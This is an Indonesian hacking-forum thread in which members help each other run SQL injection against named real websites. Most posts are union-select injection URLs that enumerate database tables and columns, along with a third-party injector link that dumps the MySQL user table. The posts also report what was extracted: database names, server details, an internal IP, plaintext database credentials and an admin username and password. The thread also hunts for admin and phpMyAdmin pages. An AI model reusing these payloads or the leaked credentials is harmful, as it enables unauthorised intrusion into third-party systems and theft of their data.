[tanya] kok gak muncul ya ... ?

[ping]

iseng2 kesana kemari ama google eh nemu gini kk

http://www.santika.com/news.php?id=63'

pas tak terusin akhirnya ketemu gini bang

http://www.santika.com/news.php?id=-63+u...tabase()--

terus ane liat ada table membership disana ane lanjutin

http://www.santika.com/news.php?id=-63+u...73686970--


setelah ane coba untuk buka fieldnya kok gak keluar ya bang

ane coba jalanin gini

http://www.santika.com/news.php?id=-63+u...membership


kok gak keluar apa2 yang abang - abangku semuah

ada kesalahan kah ..... ?

[p0k3r]

wedeww...ane jg binun om....

tapi ane injectnya dari sini om :

Code:

http://www.santika.com/news.php?id=-63+and+1=2+union+select+1,2,group_concat%28column_name%29,4+from+information_schema.columns+where+table_name=0x75736572--

sudilah kiranya seseorang memberi pencerahannya....

[petimati]

Code:

http://www.santika.com/news.php?id=-63+union+select+1,2,group_concat(column_name),4+from+information_schema.columns+where+table_name=0x75736572--

table usernya di umpetin

[p0k3r]

(05-20-2010 02:51 PM)petimati Wrote:  

Code:

http://www.santika.com/news.php?id=-63+union+select+1,2,group_concat(column_name),4+from+information_schema.columns+where+table_name=0x75736572--

table usernya di umpetin

tapi klo pake ini :

Code:

http://tools.kerinci.net/?x=injector&column[]=Host&column[]=User&column[]=Password&column[]=x509_issuer&column[]=x509_subject&column[]=max_user_connections&showdb=mysql&table=user&spasi=%2F**%2F&ending=--&url=aHR0cDovL3d3dy5zYW50aWthLmNvbS9uZXdzLnBocD9pZD02Mw%3D%3D&unionstring=NHx8aWQ9NjN8fEFORC8qKi8xPTIvKiovVU5JT04vKiovQUxMLyoqL1NFTEVDVC8qKi8xLC8qKi8yLC8qKi8zLC8qKi80LA%3D%3D&dump=Dump

bisa kliatan om....
ane tambah binun om.... ;prustasi
Maaf klo banyak tanya....

[shinichi81]

sama aja bos,pakai kerinci juga di-hide gimana cara bukanya yah om petimati ma kk Bumble_bee

[bumble_be]

Code:

http://www.santika.com/news.php?id=63

Database di web itu ada 3 bro...

Code:

MYSQL connect getting files *
DB_NAME

1. db_grasindo
2. santika2
3. web_santika

cuma dpt kek gnian, servernya windows

Code:

Windows NT M4N14X-XN6JRNEV 5.0 build 2195
IUSR_M4N14X-XN6JRNEV
server ip : 10.51.11.49

gila gue nyesek banged nyri user adminya..tp dpt kek gnian

Code:

$MySqlHostname = "localhost";
$MySqlUsername = "santika";
$MySqlPassword = "santika";
$MySqlDatabase = "web_santika";

lbih lengkap ksni y br0...
http://forum.devilzc0de.org/showthread.php?tid=1988

@atas me : nm q bumble_be kk bukan bumble_bee
;prustasi;prustasi

[AoeT_14]

(05-20-2010 02:33 PM)p0k3r Wrote:  wedeww...ane jg binun om....

tapi ane injectnya dari sini om :

Code:

http://www.santika.com/news.php?id=-63+and+1=2+union+select+1,2,group_concat%28column_name%29,4+from+information_schema.columns+where+table_name=0x75736572--

sudilah kiranya seseorang memberi pencerahannya....

kak...,kalaw yg ini gimana yah....,
http://www.suryalaya.org/berita.php?ID=-...a.tables--

btw minta trednya dong yg bisa ngejelasin tentang ini....,

[GudeG SaYur]

(05-29-2010 09:00 PM)AoeT_14 Wrote:  

(05-20-2010 02:33 PM)p0k3r Wrote:  wedeww...ane jg binun om....

tapi ane injectnya dari sini om :

Code:

http://www.santika.com/news.php?id=-63+and+1=2+union+select+1,2,group_concat%28column_name%29,4+from+information_schema.columns+where+table_name=0x75736572--

sudilah kiranya seseorang memberi pencerahannya....

kak...,kalaw yg ini gimana yah....,
http://www.suryalaya.org/berita.php?ID=-...a.tables--

btw minta trednya dong yg bisa ngejelasin tentang ini....,

nih kk lebih jelasnya :
http://www.suryalaya.org/berita.php?ID=-...%20tuser--

hasilnya :
Administrator:surya << it menurut userID,password

[p0k3r]

tinggal cari admin page nya doank tuh....

tapi ane cm dapat yg ginian om :

Code:

http://www.suryalaya.org/phpMyAdmin/
http://www.suryalaya.org/images/
http://www.suryalaya.org/stat/
http://www.suryalaya.org/sendmail/
http://www.suryalaya.org/manual/
http://www.suryalaya.org/index/

[TSOTF]

ijin menyimak dengan seksama